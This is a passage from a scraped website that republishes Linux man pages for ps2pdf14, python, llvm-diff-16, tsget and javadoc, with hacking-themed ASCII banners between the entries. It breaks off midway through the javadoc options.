➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2pdf14 and provides detailed information about the command ps2pdf14, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2pdf14.

NAME 🖥️ ps2pdf14 🖥️

Convert PostScript to PDF using ghostscript
ps2pdf12 - Convert PostScript to PDF 1.2 (Acrobat 3-and-later compatible) using ghostscript
ps2pdf13 - Convert PostScript to PDF 1.3 (Acrobat 4-and-later compatible) using ghostscript
ps2pdf14 - Convert PostScript to PDF 1.4 (Acrobat 5-and-later compatible) using ghostscript

SYNOPSIS

ps2pdf [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf12 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf13 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf14 [options…] {input.[e]ps|-} [output.pdf|-]

DESCRIPTION

The ps2pdf scripts are work-alikes for nearly all the functionality (but not the user interface) of Adobe’s Acrobat(TM) Distiller(TM) product: they convert PostScript files to Portable Document Format (PDF) files.

If the output filename is not specified, the output is placed in a file of the same name with a ‘.pdf’ extension in the current working directory. Either the input filename or the output filename can be ‘-’ to request reading from stdin or writing to stdout, respectively, when used as a filter.

The three scripts differ as follows:

  • ps2pdf12 will always produce PDF 1.2 output (Acrobat 3-and-later compatible).

  • ps2pdf13 will always produce PDF 1.3 output (Acrobat 4-and-later compatible).

  • ps2pdf14 will always produce PDF 1.4 output (Acrobat 5-and-later compatible).

  • ps2pdf per se currently produces PDF 1.4 output. However, this may change in the future. If you care about the compatibility level of the output, use ps2pdf12, ps2pdf13 or ps2pdf14, or use the -dCompatibilityLevel=1.x switch in the command line.

There are some limitations in ps2pdf’s conversion. See the HTML documentation for more information. A large number of Adobe Distiller(TM) parameters which can be used to control the conversion are also documented there, including instructions for generating PDF/X and PDF/A documents.

OPTIONS

The ps2pdf scripts use the same options as gs(1).

EXAMPLES

Converting a figure.ps to figure.pdf:

ps2pdf figure.ps

A conversion with more specifics:

ps2pdf -dPDFSETTINGS=/prepress figure.ps proof.pdf

Converting as part of a pipe:

make_report.pl -t ps | ps2pdf -dCompatibilityLevel=1.3 - - | lpr

SEE ALSO

gs(1), ps2pdfwr(1),
VectorDevices.htm in the Ghostscript documentation

BUGS

See http://bugs.ghostscript.com/ and the Usenet news group comp.lang.postscript.

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

321 - Linux cli command python

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python and provides detailed information about the command python, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python.

NAME 🖥️ python 🖥️

an interpreted, interactive, object-oriented programming language

SYNOPSIS

python [ -B ] [ -b ] [ -d ] [ -E ] [ -h ] [ -i ] [ -I ]
[ -m module-name ] [ -q ] [ -O ] [ -OO ] [ -P ] [ -s ] [ -S ] [ -u ]
[ -v ] [ -V ] [ -W argument ] [ -x ] [ -X option ] [ -? ]
[ –check-hash-based-pycs default | always | never ]
[ –help ] [ –help-env ] [ –help-xoptions ] [ –help-all ]
[ -c command | script | - ] [ arguments ]

DESCRIPTION

Python is an interpreted, interactive, object-oriented programming language that combines remarkable power with very clear syntax. For an introduction to programming in Python, see the Python Tutorial. The Python Library Reference documents built-in and standard types, constants, functions and modules. Finally, the Python Reference Manual describes the syntax and semantics of the core language in (perhaps too) much detail. (These documents may be located via the INTERNET RESOURCES below; they may be installed on your system as well.)

Python’s basic power can be extended with your own modules written in C or C++. On most systems such modules may be dynamically loaded. Python is also adaptable as an extension language for existing applications. See the internal documentation for hints.

Documentation for installed Python modules and packages can be viewed by running the pydoc program.

COMMAND LINE OPTIONS

-B
Don’t write .pyc files on import. See also PYTHONDONTWRITEBYTECODE.

-b
Issue warnings about str(bytes_instance), str(bytearray_instance) and comparing bytes/bytearray with str. (-bb: issue errors)

**-c **command
Specify the command to execute (see next section). This terminates the option list (following options are passed as arguments to the command).

**–check-hash-based-pycs **mode
Configure how Python evaluates the up-to-dateness of hash-based .pyc files.

-d
Turn on parser debugging output (for expert only, depending on compilation options).

-E
Ignore environment variables like PYTHONPATH and PYTHONHOME that modify the behavior of the interpreter.

-h , -? , –help
Prints the usage for the interpreter executable and exits.

–help-env
Prints help about Python-specific environment variables and exits.

–help-xoptions
Prints help about implementation-specific -X options and exits.

–help-all
Prints complete usage information and exits.

-i
When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command. It does not read the $PYTHONSTARTUP file. This can be useful to inspect global variables or a stack trace when a script raises an exception.

-I
Run Python in isolated mode. This also implies -E, -P and -s. In isolated mode sys.path contains neither the script’s directory nor the user’s site-packages directory. All PYTHON* environment variables are ignored, too. Further restrictions may be imposed to prevent the user from injecting malicious code.

**-m **module-name
Searches sys.path for the named module and runs the corresponding .py file as a script. This terminates the option list (following options are passed as arguments to the module).

-O
Remove assert statements and any code conditional on the value of __debug__; augment the filename for compiled (bytecode) files by adding .opt-1 before the .pyc extension.

-OO
Do -O and also discard docstrings; change the filename for compiled (bytecode) files by adding .opt-2 before the .pyc extension.

-P
Don’t automatically prepend a potentially unsafe path to sys.path such as the current directory, the script’s directory or an empty string. See also the PYTHONSAFEPATH environment variable.

-q
Do not print the version and copyright messages. These messages are also suppressed in non-interactive mode.

-s
Don’t add user site directory to sys.path.

-S
Disable the import of the module site and the site-dependent manipulations of sys.path that it entails. Also disable these manipulations if site is explicitly imported later.

-u
Force the stdout and stderr streams to be unbuffered. This option has no effect on the stdin stream.

-v
Print a message each time a module is initialized, showing the place (filename or built-in module) from which it is loaded. When given twice, print a message for each file that is checked for when searching for a module. Also provides information on module cleanup at exit.

-V , –version
Prints the Python version number of the executable and exits. When given twice, print more information about the build.

**-W **argument
Warning control. Python’s warning machinery by default prints warning messages to sys.stderr.

The simplest settings apply a particular action unconditionally to all warnings emitted by a process (even those that are otherwise ignored by default):

-Wdefault # Warn once per call location -Werror # Convert to exceptions -Walways # Warn every time -Wmodule # Warn once per calling module -Wonce # Warn once per Python process -Wignore # Never warn

The action names can be abbreviated as desired and the interpreter will resolve them to the appropriate action name. For example, -Wi is the same as -Wignore .

The full form of argument is: action:message:category:module:lineno

Empty fields match all values; trailing empty fields may be omitted. For example -W ignore::DeprecationWarning ignores all DeprecationWarning warnings.

The action field is as explained above but only applies to warnings that match the remaining fields.

The message field must match the whole printed warning message; this match is case-insensitive.

The category field matches the warning category (ex: “DeprecationWarning”). This must be a class name; the match test whether the actual warning category of the message is a subclass of the specified warning category.

The module field matches the (fully-qualified) module name; this match is case-sensitive.

The lineno field matches the line number, where zero matches all line numbers and is thus equivalent to an omitted line number.

Multiple -W options can be given; when a warning matches more than one option, the action for the last matching option is performed. Invalid -W options are ignored (though, a warning message is printed about invalid options when the first warning is issued).

Warnings can also be controlled using the PYTHONWARNINGS environment variable and from within a Python program using the warnings module. For example, the warnings.filterwarnings() function can be used to use a regular expression on the warning message.

**-X **option
Set implementation-specific option. The following options are available:

-X faulthandler: enable faulthandler

-X showrefcount: output the total reference count and number of used memory blocks when the program finishes or after each statement in the interactive interpreter. This only works on debug builds

-X tracemalloc: start tracing Python memory allocations using the tracemalloc module. By default, only the most recent frame is stored in a traceback of a trace. Use -X tracemalloc=NFRAME to start tracing with a traceback limit of NFRAME frames

-X importtime: show how long each import takes. It shows module name, cumulative time (including nested imports) and self time (excluding nested imports). Note that its output may be broken in multi-threaded application. Typical usage is python3 -X importtime -c ‘import asyncio’

-X dev: enable CPython’s “development mode”, introducing additional runtime checks which are too expensive to be enabled by default. It will not be more verbose than the default if the code is correct: new warnings are only emitted when an issue is detected. Effect of the developer mode: * Add default warning filter, as -W default * Install debug hooks on memory allocators: see the PyMem_SetupDebugHooks() C function * Enable the faulthandler module to dump the Python traceback on a crash * Enable asyncio debug mode * Set the dev_mode attribute of sys.flags to True * io.IOBase destructor logs close() exceptions

-X utf8: enable UTF-8 mode for operating system interfaces, overriding the default locale-aware mode. -X utf8=0 explicitly disables UTF-8 mode (even when it would otherwise activate automatically). See PYTHONUTF8 for more details

-X pycache_prefix=PATH: enable writing .pyc files to a parallel tree rooted at the given directory instead of to the code tree.

-X warn_default_encoding: enable opt-in EncodingWarning for ’encoding=None'

-X no_debug_ranges: disable the inclusion of the tables mapping extra location information (end line, start column offset and end column offset) to every instruction in code objects. This is useful when smaller code objects and pyc files are desired as well as suppressing the extra visual location indicators when the interpreter displays tracebacks.

-X frozen_modules=[on|off]: whether or not frozen modules should be used. The default is “on” (or “off” if you are running a local build).

-X int_max_str_digits=number: limit the size of int<->str conversions. This helps avoid denial of service attacks when parsing untrusted data. The default is sys.int_info.default_max_str_digits. 0 disables.

-x
Skip the first line of the source. This is intended for a DOS specific hack only. Warning: the line numbers in error messages will be off by one!

INTERPRETER INTERFACE

The interpreter interface resembles that of the UNIX shell: when called with standard input connected to a tty device, it prompts for commands and executes them until an EOF is read; when called with a file name argument or with a file as standard input, it reads and executes a script from that file; when called with -c command, it executes the Python statement(s) given as command. Here command may contain multiple statements separated by newlines. Leading whitespace is significant in Python statements! In non-interactive mode, the entire input is parsed before it is executed.

If available, the script name and additional arguments thereafter are passed to the script in the Python variable sys.argv, which is a list of strings (you must first import sys to be able to access it). If no script name is given, sys.argv[0] is an empty string; if -c is used, sys.argv[0] contains the string ’-c’. Note that options interpreted by the Python interpreter itself are not placed in sys.argv.

In interactive mode, the primary prompt is `>>>’; the second prompt (which appears when a command is not complete) is `…’. The prompts can be changed by assignment to sys.ps1 or sys.ps2. The interpreter quits when it reads an EOF at a prompt. When an unhandled exception occurs, a stack trace is printed and control returns to the primary prompt; in non-interactive mode, the interpreter exits after printing the stack trace. The interrupt signal raises the KeyboardInterrupt exception; other UNIX signals are not caught (except that SIGPIPE is sometimes ignored, in favor of the IOError exception). Error messages are written to stderr.

FILES AND DIRECTORIES

These are subject to difference depending on local installation conventions; ${prefix} and ${exec_prefix} are installation-dependent and should be interpreted as for GNU software; they may be the same. On Debian GNU/{Hurd,Linux} the default for both is /usr.

${exec_prefix}/bin/python
Recommended location of the interpreter.

${prefix}/lib/python<version>
${exec_prefix}/lib/python<version>

Recommended locations of the directories containing the standard modules.

${prefix}/include/python<version>
${exec_prefix}/include/python<version>

Recommended locations of the directories containing the include files needed for developing Python extensions and embedding the interpreter.

ENVIRONMENT VARIABLES

PYTHONSAFEPATH
If this is set to a non-empty string, don’t automatically prepend a potentially unsafe path to sys.path such as the current directory, the script’s directory or an empty string. See also the -P option.

PYTHONHOME
Change the location of the standard Python libraries. By default, the libraries are searched in ${prefix}/lib/python<version> and ${exec_prefix}/lib/python<version>, where ${prefix} and ${exec_prefix} are installation-dependent directories, both defaulting to /usr/local. When $PYTHONHOME is set to a single directory, its value replaces both ${prefix} and ${exec_prefix}. To specify different values for these, set $PYTHONHOME to ${prefix}:${exec_prefix}.

PYTHONPATH
Augments the default search path for module files. The format is the same as the shell’s $PATH: one or more directory pathnames separated by colons. Non-existent directories are silently ignored. The default search path is installation dependent, but generally begins with ${prefix}/lib/python<version> (see PYTHONHOME above). The default search path is always appended to $PYTHONPATH. If a script argument is given, the directory containing the script is inserted in the path in front of $PYTHONPATH. The search path can be manipulated from within a Python program as the variable sys.path.

PYTHONPLATLIBDIR
Override sys.platlibdir.

PYTHONSTARTUP
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same name space where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 in this file.

PYTHONOPTIMIZE
If this is set to a non-empty string it is equivalent to specifying the -O option. If set to an integer, it is equivalent to specifying -O multiple times.

PYTHONDEBUG
If this is set to a non-empty string it is equivalent to specifying the -d option. If set to an integer, it is equivalent to specifying -d multiple times.

PYTHONDONTWRITEBYTECODE
If this is set to a non-empty string it is equivalent to specifying the -B option (don’t try to write .pyc files).

PYTHONINSPECT
If this is set to a non-empty string it is equivalent to specifying the -i option.

PYTHONIOENCODING
If this is set before running the interpreter, it overrides the encoding used for stdin/stdout/stderr, in the syntax encodingname**:**errorhandler The errorhandler part is optional and has the same meaning as in str.encode. For stderr, the errorhandler part is ignored; the handler will always be ‘backslashreplace’.

PYTHONNOUSERSITE
If this is set to a non-empty string it is equivalent to specifying the -s option (Don’t add the user site directory to sys.path).

PYTHONUNBUFFERED
If this is set to a non-empty string it is equivalent to specifying the -u option.

PYTHONVERBOSE
If this is set to a non-empty string it is equivalent to specifying the -v option. If set to an integer, it is equivalent to specifying -v multiple times.

PYTHONWARNINGS
If this is set to a comma-separated string it is equivalent to specifying the -W option for each separate value.

PYTHONHASHSEED
If this variable is set to “random”, a random value is used to seed the hashes of str and bytes objects.

If PYTHONHASHSEED is set to an integer value, it is used as a fixed seed for generating the hash() of the types covered by the hash randomization. Its purpose is to allow repeatable hashing, such as for selftests for the interpreter itself, or to allow a cluster of python processes to share hash values.

The integer must be a decimal number in the range [0,4294967295]. Specifying the value 0 will disable hash randomization.

PYTHONINTMAXSTRDIGITS
Limit the maximum digit characters in an int value when converting from a string and when converting an int back to a str. A value of 0 disables the limit. Conversions to or from bases 2, 4, 8, 16, and 32 are never limited.

PYTHONMALLOC
Set the Python memory allocators and/or install debug hooks. The available memory allocators are malloc and pymalloc. The available debug hooks are debug, malloc_debug, and pymalloc_debug.

When Python is compiled in debug mode, the default is pymalloc_debug and the debug hooks are automatically used. Otherwise, the default is pymalloc.

PYTHONMALLOCSTATS
If set to a non-empty string, Python will print statistics of the pymalloc memory allocator every time a new pymalloc object arena is created, and on shutdown.

This variable is ignored if the $PYTHONMALLOC environment variable is used to force the malloc(3) allocator of the C library, or if Python is configured without pymalloc support.

PYTHONASYNCIODEBUG
If this environment variable is set to a non-empty string, enable the debug mode of the asyncio module.

PYTHONTRACEMALLOC
If this environment variable is set to a non-empty string, start tracing Python memory allocations using the tracemalloc module.

The value of the variable is the maximum number of frames stored in a traceback of a trace. For example, PYTHONTRACEMALLOC=1 stores only the most recent frame.

PYTHONFAULTHANDLER
If this environment variable is set to a non-empty string, faulthandler.enable() is called at startup: install a handler for SIGSEGV, SIGFPE, SIGABRT, SIGBUS and SIGILL signals to dump the Python traceback.

This is equivalent to the -X faulthandler option.

PYTHONEXECUTABLE
If this environment variable is set, sys.argv[0] will be set to its value instead of the value got through the C runtime. Only works on Mac OS X.

PYTHONUSERBASE
Defines the user base directory, which is used to compute the path of the user site-packages directory and Distutils installation paths for python setup.py install –user.

PYTHONPROFILEIMPORTTIME
If this environment variable is set to a non-empty string, Python will show how long each import takes. This is exactly equivalent to setting -X importtime on the command line.

PYTHONBREAKPOINT
If this environment variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice.

Debug-mode variables

Setting these variables only has an effect in a debug build of Python, that is, if Python was configured with the –with-pydebug build option.

PYTHONTHREADDEBUG
If this environment variable is set, Python will print threading debug info. The feature is deprecated in Python 3.10 and will be removed in Python 3.12.

PYTHONDUMPREFS
If this environment variable is set, Python will dump objects and reference counts still alive after shutting down the interpreter.

AUTHOR

The Python Software Foundation: https://www.python.org/psf/

INTERNET RESOURCES

Main website: https://www.python.org/
Documentation: https://docs.python.org/
Developer resources: https://devguide.python.org/
Downloads: https://www.python.org/downloads/
Module repository: https://pypi.org/
Newsgroups: comp.lang.python, comp.lang.python.announce

LICENSING

Python is distributed under an Open Source license. See the file “LICENSE” in the Python source distribution for information on terms & conditions for accessing and otherwise using Python and for a DISCLAIMER OF ALL WARRANTIES.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

322 - Linux cli command llvm-diff-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-diff-16 and provides detailed information about the command llvm-diff-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-diff-16.

NAME 🖥️ llvm-diff-16 🖥️

diff - LLVM structural ‘diff’

SYNOPSIS

llvm-diff [options] module 1 module 2 [global name …]

DESCRIPTION

llvm-diff compares the structure of two LLVM modules, primarily focusing on differences in function definitions. Insignificant differences, such as changes in the ordering of globals or in the names of local values, are ignored.

An input module will be interpreted as an assembly file if its name ends in ‘.ll’; otherwise it will be read in as a bitcode file.

If a list of global names is given, just the values with those names are compared; otherwise, all global values are compared, and diagnostics are produced for globals which only appear in one module or the other.

llvm-diff compares two functions by comparing their basic blocks, beginning with the entry blocks. If the terminators seem to match, then the corresponding successors are compared; otherwise they are ignored. This algorithm is very sensitive to changes in control flow, which tend to stop any downstream changes from being detected.

llvm-diff is intended as a debugging tool for writers of LLVM passes and frontends. It does not have a stable output format.

EXIT STATUS

If llvm-diff finds no differences between the modules, it will exit with 0 and produce no output. Otherwise it will exit with a non-zero value.

BUGS

Many important differences, like changes in linkage or function attributes, are not diagnosed.

Changes in memory behavior (for example, coalescing loads) can cause massive detected differences in blocks.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

323 - Linux cli command tsgetssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsgetssl and provides detailed information about the command tsgetssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsgetssl.

NAME 🖥️ tsgetssl 🖥️

Time Stamping HTTP/HTTPS client

SYNOPSIS

tsget -h server_url [-e extension] [-o output] [-v] [-d] [-k private_key.pem] [-p key_password] [-c client_cert.pem] [-C CA_certs.pem] [-P CA_path] [-r files] [-g EGD_socket] [request …]

DESCRIPTION

This command can be used for sending a timestamp request, as specified in RFC 3161, to a timestamp server over HTTP or HTTPS and storing the timestamp response in a file. It cannot be used for creating the requests and verifying responses, you have to use openssl-ts (1) to do that. This command can send several requests to the server without closing the TCP connection if more than one requests are specified on the command line.

This command sends the following HTTP request for each timestamp request:

POST url HTTP/1.1 User-Agent: OpenTSA tsget.pl/<version> Host: <host>:<port> Pragma: no-cache Content-Type: application/timestamp-query Accept: application/timestamp-reply Content-Length: length of body …binary request specified by the user…

It expects a response of type application/timestamp-reply, which is written to a file without any interpretation.

OPTIONS

-h server_url
The URL of the HTTP/HTTPS server listening for timestamp requests.

-e extension
If the -o option is not given this argument specifies the extension of the output files. The base name of the output file will be the same as those of the input files. Default extension is .tsr. (Optional)

-o output
This option can be specified only when just one request is sent to the server. The timestamp response will be written to the given output file. ‘-’ means standard output. In case of multiple timestamp requests or the absence of this argument the names of the output files will be derived from the names of the input files and the default or specified extension argument. (Optional)

-v
The name of the currently processed request is printed on standard error. (Optional)

-d
Switches on verbose mode for the underlying perl module WWW::Curl::Easy. You can see detailed debug messages for the connection. (Optional)

-k private_key.pem
(HTTPS) In case of certificate-based client authentication over HTTPS private_key.pem must contain the private key of the user. The private key file can optionally be protected by a passphrase. The -c option must also be specified. (Optional)

-p key_password
(HTTPS) Specifies the passphrase for the private key specified by the -k argument. If this option is omitted and the key is passphrase protected, it will be prompted for. (Optional)

-c client_cert.pem
(HTTPS) In case of certificate-based client authentication over HTTPS client_cert.pem must contain the X.509 certificate of the user. The -k option must also be specified. If this option is not specified no certificate-based client authentication will take place. (Optional)

-C CA_certs.pem
(HTTPS) The trusted CA certificate store. The certificate chain of the peer’s certificate must include one of the CA certificates specified in this file. Either option -C or option -P must be given in case of HTTPS. (Optional)

-P CA_path
(HTTPS) The path containing the trusted CA certificates to verify the peer’s certificate. The directory must be prepared with openssl-rehash (1). Either option -C or option -P must be given in case of HTTPS. (Optional)

-r files
See “Random State Options” in openssl (1) for more information.

-g EGD_socket
The name of an EGD socket to get random data from. (Optional)

request …
List of files containing RFC 3161 DER-encoded timestamp requests. If no requests are specified only one request will be sent to the server and it will be read from the standard input. (Optional)

ENVIRONMENT VARIABLES

The TSGET environment variable can optionally contain default arguments. The content of this variable is added to the list of command line arguments.

EXAMPLES

The examples below presume that file1.tsq and file2.tsq contain valid timestamp requests, tsa.opentsa.org listens at port 8080 for HTTP requests and at port 8443 for HTTPS requests, the TSA service is available at the /tsa absolute path.

Get a timestamp response for file1.tsq over HTTP, output is written to file1.tsr:

tsget -h http://tsa.opentsa.org:8080/tsa file1.tsq

Get a timestamp response for file1.tsq and file2.tsq over HTTP showing progress, output is written to file1.reply and file2.reply respectively:

tsget -h http://tsa.opentsa.org:8080/tsa -v -e .reply \ file1.tsq file2.tsq

Create a timestamp request, write it to file3.tsq, send it to the server and write the response to file3.tsr:

openssl ts -query -data file3.txt -cert | tee file3.tsq \ | tsget -h http://tsa.opentsa.org:8080/tsa \ -o file3.tsr

Get a timestamp response for file1.tsq over HTTPS without client authentication:

tsget -h https://tsa.opentsa.org:8443/tsa \ -C cacerts.pem file1.tsq

Get a timestamp response for file1.tsq over HTTPS with certificate-based client authentication (it will ask for the passphrase if client_key.pem is protected):

tsget -h https://tsa.opentsa.org:8443/tsa -C cacerts.pem \ -k client_key.pem -c client_cert.pem file1.tsq

You can shorten the previous command line if you make use of the TSGET environment variable. The following commands do the same as the previous example:

TSGET=-h https://tsa.opentsa.org:8443/tsa -C cacerts.pem \ -k client_key.pem -c client_cert.pem export TSGET tsget file1.tsq

SEE ALSO

openssl (1), openssl-ts (1), WWW::Curl::Easy, <https://www.rfc-editor.org/rfc/rfc3161.html>

COPYRIGHT

Copyright 2006-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

324 - Linux cli command javadoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command javadoc and provides detailed information about the command javadoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the javadoc.

NAME 🖥️ javadoc 🖥️

generate HTML pages of API documentation from Java source files

SYNOPSIS

javadoc [options] [packagenames] [sourcefiles] [**@**files]

options
Specifies command-line options, separated by spaces. See Options for javadoc, Extended Options, Standard doclet Options, and Additional Options Provided by the Standard doclet.

packagenames
Specifies names of packages that you want to document, separated by spaces, for example java.lang java.lang.reflect java.awt. If you want to also document the subpackages, then use the -subpackages option to specify the packages.

By default, javadoc looks for the specified packages in the current directory and subdirectories. Use the -sourcepath option to specify the list of directories where to look for packages.

sourcefiles
Specifies names of Java source files that you want to document, separated by spaces, for example Class.java Object.java Button.java. By default, javadoc looks for the specified classes in the current directory. However, you can specify the full path to the class file and use wildcard characters, for example /home/src/java/awt/Graphics*.java. You can also specify the path relative to the current directory.

****@files
Specifies names of files that contain a list of javadoc tool options, package names, and source file names in any order.

DESCRIPTION

The javadoc tool parses the declarations and documentation comments in a set of Java source files and produces corresponding HTML pages that describe (by default) the public and protected classes, nested classes (but not anonymous inner classes), interfaces, constructors, methods, and fields. You can use the javadoc tool to generate the API documentation or the implementation documentation for a set of source files.

You can run the javadoc tool on entire packages, individual source files, or both. When documenting entire packages, you can use the -subpackages option either to recursively traverse a directory and its subdirectories, or to pass in an explicit list of package names. When you document individual source files, pass in a list of Java source file names. See javadoc Overview [https://www.oracle.com/pls/topic/lookup?ctx=en/java/javase/13/tools&id=JSJAV-GUID-7A344353-3BBF-45C4-8B28-15025DDCC643] in Java Platform, Standard Edition Javadoc Guide for information about using the javadoc tool.

CONFORMANCE

The standard doclet does not validate the content of documentation comments for conformance, nor does it attempt to correct any errors in documentation comments. Anyone running javadoc is advised to be aware of the problems that may arise when generating non-conformant output or output containing executable content, such as JavaScript. The standard doclet does provide the doclint feature to help developers detect common problems in documentation comments; but it is also recommended to check the generated output with any appropriate conformance and other checking tools.

For more details on the conformance requirements for HTML5 documents, see Conformance requirements [https://www.w3.org/TR/html5/infrastructure.html#conformance-requirements] in the HTML5 Specification. For more details on security issues related to web pages, see the Open Web Application Security Project (OWASP) [https://www.owasp.org] page.

OPTIONS FOR JAVADOC

The following core javadoc options are equivalent to corresponding javac options. See Standard Options in javac for the detailed descriptions of using these options:

  • --add-modules

  • -bootclasspath

  • --class-path, -classpath, or -cp

  • --enable-preview

  • -encoding

  • -extdirs

  • --limit-modules

  • --module

  • --module-path or -p

  • --module-source-path

  • --release

  • --source or -source

  • --source-path or -sourcepath

  • --system

  • --upgrade-module-path

The following options are the core javadoc options that are not equivalent to a corresponding javac option:

Note:

In tools that support -- style options, the GNU-style options can use the equal sign (=) instead of a white space to separate the name of an option from its value.

-breakiterator
Computes the first sentence with BreakIterator. The first sentence is copied to the package, class, or member summary and to the alphabetic index. The BreakIterator class is used to determine the end of a sentence for all languages except for English.

  • English default sentence-break algorithm — Stops at a period followed by a space or an HTML block tag, such as <P>.

  • Breakiterator sentence-break algorithm — Stops at a period, question mark, or exclamation point followed by a space when the next word starts with a capital letter. This is meant to handle most abbreviations (such as “The serial no. is valid”, but will not handle “Mr. Smith”). The -breakiterator option doesn’t stop at HTML tags or sentences that begin with numbers or symbols. The algorithm stops at the last period in ../filename, even when embedded in an HTML tag.

-doclet class
Generates output by using an alternate doclet. Use the fully qualified name. This doclet defines the content and formats the output. If the -doclet option isn’t used, then the javadoc tool uses the standard doclet for generating the default HTML format. This class must contain the start(Root) method. The path to this starting class is defined by the -docletpath option.

-docletpath path
